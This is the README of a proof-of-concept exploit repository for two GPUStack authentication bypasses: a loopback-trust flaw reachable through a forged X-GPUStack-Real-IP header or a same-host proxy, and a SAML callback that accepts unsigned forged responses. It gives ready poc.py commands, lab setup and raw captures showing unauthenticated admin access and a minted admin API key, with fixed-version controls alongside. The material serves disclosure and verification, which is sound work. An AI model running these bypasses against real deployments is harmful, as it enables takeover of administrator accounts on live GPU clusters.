POC for CVE-2026-102895 + CVE-2026-102894 - authentication bypass pair in GPUStack: default loopback-source trust promotes unauthenticated requests to admin, plus unverified SAML callback takeover. KEV-listed. Vulnerable vs fixed controls included.
GPUStack, an open-source GPU cluster manager for AI model serving, ships two independent pre-authentication paths to the built-in administrator account, and this repository verifies both against a live lab.
The first (CVE-2026-102895) is a trusted-source authentication bypass. The auth
dependency get_current_user promotes any request whose source address equals
127.0.0.1 to the built-in admin user when force_auth_localhost is false,
which is the default. On the default deployment that source check is decided by
a client-controlled header, and in the documented same-host reverse-proxy shape
it is decided by the proxy's own loopback connection, so an unauthenticated
remote request becomes an admin request in both cases. The second
(CVE-2026-102894) is an unverified SAML callback: the endpoint decodes the
posted SAMLResponse, reads the NameID, resolves or provisions the named
user and mints a session JWT without ever calling the SAML toolkit's
process_response(), so no signature, issuer, audience, destination or time
condition is checked, and SAML SSO does not even have to be configured. Naming
an existing account in the forged XML yields that account's session; naming
admin yields the whole deployment. Both bugs were verified end to end on
2026-11-14 against GPUStack 2.1.2 with 2.2.0 and 2.2.2 as fixed controls, and
every capture in evidence/ was taken against the lab's own loopback
addresses. CVE-2026-102895 is CISA KEV-listed (added 2026-11-09) with
exploitation observed in the wild.
/auth/saml/callback, SAML configured or not.X-GPUStack-Real-IP from an authenticated gateway (PR #5346); 2.2.2 runs
OneLogin_Saml2_Auth.process_response() on the callback and gates the SAML
route group behind the configured auth provider (PRs #5753, #5923).CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
(GHSA-gj9m-f8ph-pmhr, CWE-287/CWE-290/CWE-346); 9.1 Critical,
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (GHSA-62m9-f875-rqw6,
CWE-294/CWE-347).poc.py is stdlib-only Python 3 and takes one mode per primitive.
# CVE-2026-102895, trusted-loopback bypass (fixed in 2.2.0)
python3 poc.py --mode loopback --via proxy --base-url http://127.0.0.1:30071 \
--api-url http://127.0.0.2:30081 --source-ip 127.0.0.2
python3 poc.py --mode loopback --via header --base-url http://127.0.0.2:30070 \
--source-ip 127.0.0.2
python3 poc.py --mode loopback --via direct --base-url http://127.0.0.1:30081
# CVE-2026-102894, forged SAML login (fixed in 2.2.2)
python3 poc.py --mode saml --base-url http://127.0.0.1:30081 --user admin
--base-url is the GPUStack entry point. For --mode loopback the --via
value selects how the request source becomes loopback: direct means the
caller's own connection is loopback (run on the server host, or against the
loopback-bound API port of the default embedded-gateway deployment), proxy
means the URL is a same-host reverse proxy whose upstream connection is
loopback, and header forges X-GPUStack-Real-IP: 127.0.0.1, which the API
trusts verbatim in the default embedded-gateway mode. --source-ip binds the
PoC's own sockets so the honest negative control (same request from a source
that is loopback but not 127.0.0.1) can be captured next to the trigger;
--api-url adds the direct-to-API baseline for the proxy path.
--mode saml posts a minimal unsigned SAMLResponse naming --user to
/auth/saml/callback and replays the issued session cookie.
Lab (all services on one docker host, host networking, official images):
docker compose up -d # five gpustack instances + nginx
# or, reproducing the exact capture topology with the same images:
python3 setup/lab-driver.py boot # stop|status to tear down / probe
The compose lab mirrors evidence/00-lab-topology.txt: a default-flags 2.1.2
instance (embedded gateway on 30070, API loopback-bound on 30080), a
gateway-disabled 2.1.2 instance behind nginx on 30071 (API on 30081), a
2.1.2 instance with --force-auth-localhost on 30082, and fixed 2.2.0 /
2.2.2 instances on 30091 / 30101 with nginx on 30092. Only point this at
deployments you own.
RAW captures for all four required cases are in evidence/; each transcript
is the unmodified poc.py output with its exit code.
CVE-2026-102895, vulnerable 2.1.2 behind the same-host reverse proxy
(evidence/01-102895-loopback-proxy-vulnerable.txt). Baseline first: the same
API reached directly from a non-loopback source stays closed.
[>] baseline: same API reached directly (source not loopback)
GET http://127.0.0.2:30081/v2/users
< HTTP 401
< {"code":401,"reason":"Unauthorized","message":"Invalid authentication credentials"}
[>] trigger: unauthenticated request through the reverse proxy
GET http://127.0.0.2:30071/v2/users
< HTTP 200
< {"items":[{"username":"admin","is_admin":true, ...}],"pagination":{...,"total":1,...}}
[!] PERSISTENCE: admin API key minted without credentials and accepted from this source: gpustack_...
[!] VULNERABLE: unauthenticated administrative access via the trusted-loopback rule (CVE-2026-102895).
[poc.py exit code: 0]
CVE-2026-102895, control on fixed 2.2.0, identical requests through the proxy,
with the forged header, and directly from loopback
(evidence/04-102895-control-fixed-2.2.0.txt): all three stay 401.
[>] trigger: unauthenticated request through the reverse proxy
GET http://127.0.0.2:30092/v2/users
< HTTP 401
[=] NOT VULNERABLE: the admin list stayed closed ...
[poc.py exit code: 1]
CVE-2026-102894, vulnerable 2.1.2 with SAML never configured
(evidence/05-102894-saml-takeover-vulnerable.txt): the public auth-config
endpoint shows no provider, the forged response returns 303 with a session
cookie for admin, and the admin user list answers 200.